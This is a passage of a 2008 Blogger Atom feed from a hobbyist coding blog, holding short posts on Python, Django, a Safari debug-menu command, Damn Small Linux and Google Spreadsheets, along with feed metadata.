&lt;img src="http://community.zenoss.com/portal_memberdata/getPortrait?member_id=cluther" /&gt; Original code by Cluther&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-4742159287475289554?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/4742159287475289554/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=4742159287475289554' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4742159287475289554'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4742159287475289554'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2008/05/nslookup-in-python.html' title='NSLOOKUP in Python'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-994109710312387403</id><published>2008-05-22T16:57:00.000-07:00</published><updated>2008-05-22T16:58:54.780-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Excellent tutorial on Operating System access via Python</title><content type='html'>&lt;a href="http://www.freenetpages.co.uk/hp/alan.gauld/tutos.htm"&gt;Working with the Operating System&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-994109710312387403?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/994109710312387403/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=994109710312387403' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/994109710312387403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/994109710312387403'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2008/05/excellent-tutorial-on-operating-system.html' title='Excellent tutorial on Operating System access via Python'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-8554794985360979197</id><published>2008-05-21T10:08:00.000-07:00</published><updated>2008-07-21T22:47:43.974-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Django'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Lance's Django/Python Powered iMac Web Server</title><content type='html'>My home server is where I'm learning Python and Django. I'm creating content that shows the Python/Django code and resulting HTML. &lt;br /&gt;
See it here--&gt;&lt;a href="http://64.81.169.244/"&gt;http://64.81.169.244/&lt;/a&gt;
&lt;br /&gt;&lt;hr /&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td align="center"&gt;&lt;a href="http://www.djangobook.com/en/1.0/"&gt;
&lt;img src="http://lh6.ggpht.com/lancemiller777/SDRZ3d4kwoI/AAAAAAAAB3Q/e2Fpx7GNj_w/s144/django_book.jpg"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/td&gt;&lt;td align="center"&gt;
&lt;img src="http://lh4.ggpht.com/lancemiller777/SDLAPd4kwjI/AAAAAAAAB1g/pVzkY_hhj40/s288/coded_w_wing_small.png" /&gt;
&lt;/td&gt;&lt;td align="center"&gt;
&lt;img src="http://lh3.ggpht.com/lancemiller777/SDLBGN4kwkI/AAAAAAAAB1o/JK8JNTnaTWk/s288/images.jpeg" /&gt;
&lt;br /&gt;
&lt;img src="http://lh3.ggpht.com/lancemiller777/SDLBGN4kwlI/AAAAAAAAB1w/a0HC-NFwC9M/s288/images-1.jpeg" /&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;hr /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-8554794985360979197?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/8554794985360979197/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=8554794985360979197' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/8554794985360979197'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/8554794985360979197'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2008/05/lances-djangopython-powered-imac-web.html' title='Lance&apos;s Django/Python Powered iMac Web Server'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/lancemiller777/SDRZ3d4kwoI/AAAAAAAAB3Q/e2Fpx7GNj_w/s72-c/django_book.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-6091284090254396461</id><published>2008-05-19T00:36:00.000-07:00</published><updated>2008-05-19T00:46:58.738-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Safari'/><title type='text'>Safari Debug/Developer Menu</title><content type='html'>&lt;ol&gt;
&lt;li&gt;(Safari) Quit&lt;/li&gt;
&lt;li&gt;(Terminal) &lt;br /&gt;
&amp;gt; defaults write com.apple.Safari IncludeDebugMenu 1&lt;/li&gt; 
&lt;li&gt;(Safari) Start&lt;/li&gt;
&lt;/ol&gt;
&lt;a href="http://picasaweb.google.com/lancemiller777/SmallCode/photo?authkey=wBZ1ddKPCmU#5201991713205568034"&gt;&lt;img src="http://lh4.ggpht.com/lancemiller777/SDEv5t4kwiI/AAAAAAAAB1A/EMtmwfhBFaI/s288/safaridebug.jpg" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-6091284090254396461?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/6091284090254396461/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=6091284090254396461' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6091284090254396461'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6091284090254396461'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2008/05/safari-debugdeveloper-menu.html' title='Safari Debug/Developer Menu'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/lancemiller777/SDEv5t4kwiI/AAAAAAAAB1A/EMtmwfhBFaI/s72-c/safaridebug.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-5718070798610889654</id><published>2008-05-08T04:47:00.000-07:00</published><updated>2008-05-08T04:53:48.417-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='damn small linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Apple'/><category scheme='http://www.blogger.com/atom/ns#' term='imac'/><title type='text'>Damn Small Linux on 2.66ghz Core 2 Duo 2GB memory iMac</title><content type='html'>&lt;a href="http://picasaweb.google.com/lancemiller777/WebScreenshots/photo#5197969836390823378"&gt;&lt;img src="http://lh6.ggpht.com/lancemiller777/SCLmBrNFNdI/AAAAAAAABxM/oFxYicZwztc/s400/DamnSmallLinux_iMac.jpg" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-5718070798610889654?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/5718070798610889654/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=5718070798610889654' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/5718070798610889654'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/5718070798610889654'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2008/05/damn-small-linux-on-266ghz-core-2-duo.html' title='Damn Small Linux on 2.66ghz Core 2 Duo 2GB memory iMac'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/lancemiller777/SCLmBrNFNdI/AAAAAAAABxM/oFxYicZwztc/s72-c/DamnSmallLinux_iMac.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-7666948856668173210</id><published>2008-04-24T16:25:00.000-07:00</published><updated>2008-12-10T01:44:17.547-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='regedit'/><title type='text'>Regedit Run</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_UVcOtPszHkk/SBEXLKftOLI/AAAAAAAABpc/fs5LB2DWO2g/s1600-h/regeditRun.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_UVcOtPszHkk/SBEXLKftOLI/AAAAAAAABpc/fs5LB2DWO2g/s400/regeditRun.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5192957325898234034" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-7666948856668173210?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/7666948856668173210/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=7666948856668173210' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/7666948856668173210'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/7666948856668173210'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2008/04/regedit-run.html' title='Regedit Run'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_UVcOtPszHkk/SBEXLKftOLI/AAAAAAAABpc/fs5LB2DWO2g/s72-c/regeditRun.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-2404561175296055002</id><published>2008-04-15T05:12:00.000-07:00</published><updated>2008-04-15T05:15:53.258-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google code'/><title type='text'>Using Google Spreadsheets as a Database in the Cloud</title><content type='html'>&lt;object width="425" height="355"&gt;&lt;param name="movie" value="http://www.youtube.com/v/rWCLROPKug0&amp;hl=en"&gt;&lt;/param&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/rWCLROPKug0&amp;hl=en" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;
&lt;br /&gt;
&lt;a href="http://code.google.com/p/gdata-python-client/"&gt;&lt;h2&gt;http://code.google.com/p/gdata-python-client/&lt;/h2&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-2404561175296055002?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/2404561175296055002/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=2404561175296055002' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/2404561175296055002'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/2404561175296055002'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2008/04/using-google-spreadsheets-as-database.html' title='Using Google Spreadsheets as a Database in the Cloud'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-6027056905364093121</id><published>2008-04-13T05:17:00.000-07:00</published><updated>2008-05-13T05:36:08.230-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='appspot'/><title type='text'>My Favorite Appspots</title><content type='html'>&lt;ul&gt;&lt;li&gt;
&lt;a href="http://codereview.appspot.com/"&gt;http://codereview.appspot.com/&lt;/a&gt;
&lt;/li&gt;&lt;li&gt;
&lt;a href="http://shell.appspot.com/"&gt;http://shell.appspot.com/&lt;/a&gt;
&lt;a href="http://shell.appspot.com/static/shell.py"&gt;(source)&lt;/a&gt;
&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-6027056905364093121?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/6027056905364093121/comments/default' title='Post Comments'/><link rel='repli
